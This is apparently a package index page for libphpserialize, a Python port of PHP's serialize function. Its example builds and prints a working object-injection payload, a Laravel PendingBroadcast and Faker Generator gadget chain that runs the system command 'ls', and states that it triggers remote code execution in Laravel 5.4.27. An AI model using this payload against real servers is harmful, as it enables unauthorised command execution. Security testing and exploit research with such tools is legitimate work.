A port of PHP's serialize function, in pure python
Project description
libphpserialize
A port of PHP's serialize function, in pure python
Features
- serialize objects directly from python objects
- nested objects
- namespacing
- variable Access Modifiers (public, private, protected)
Example
from phpserialize import serialize
from phpserialize.decorators import namespace
import requests
@namespace('Faker')
class Generator:
protected_formatters = {'dispatch': 'system'}
@namespace('Illuminate\Broadcasting')
class PendingBroadcast:
protected_event = 'ls'
protected_events = Generator()
print(serialize(PendingBroadcast()))
with above code, you'll get:
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";O:15:"Faker\Generator":1:{s:13:"*formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"*event";s:2:"ls";}
which triggers an RCE vulnerability in Laravel 5.4.27
nice when you're writing an exploit script for others to read
Important:
- the code is written and tested under python 3.7+
- decimal serialization doesn't work the same as PHP does, yet
TODO
- recursive objects support
- reimplement decimal precision calculating algorithm from php engine
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
libphpserialize-0.0.3.tar.gz
(4.4 kB
view hashes)
Built Distribution
Close
Hashes for libphpserialize-0.0.3-py3-none-any.whl
Algorithm | Hash digest | |
---|---|---|
SHA256 | ed52d2476a6fc5fa9ecd0a02852c53a25a1eff3da7a1a96ab4960ba00d121a24 |
|
MD5 | d65f5e8bf3f7f3a0e6b43ccb3b323f0e |
|
BLAKE2b-256 | 68ac3f2e061bcaed5943c43173d96964bbc9c342a2ca67279d0063d0c4b5a578 |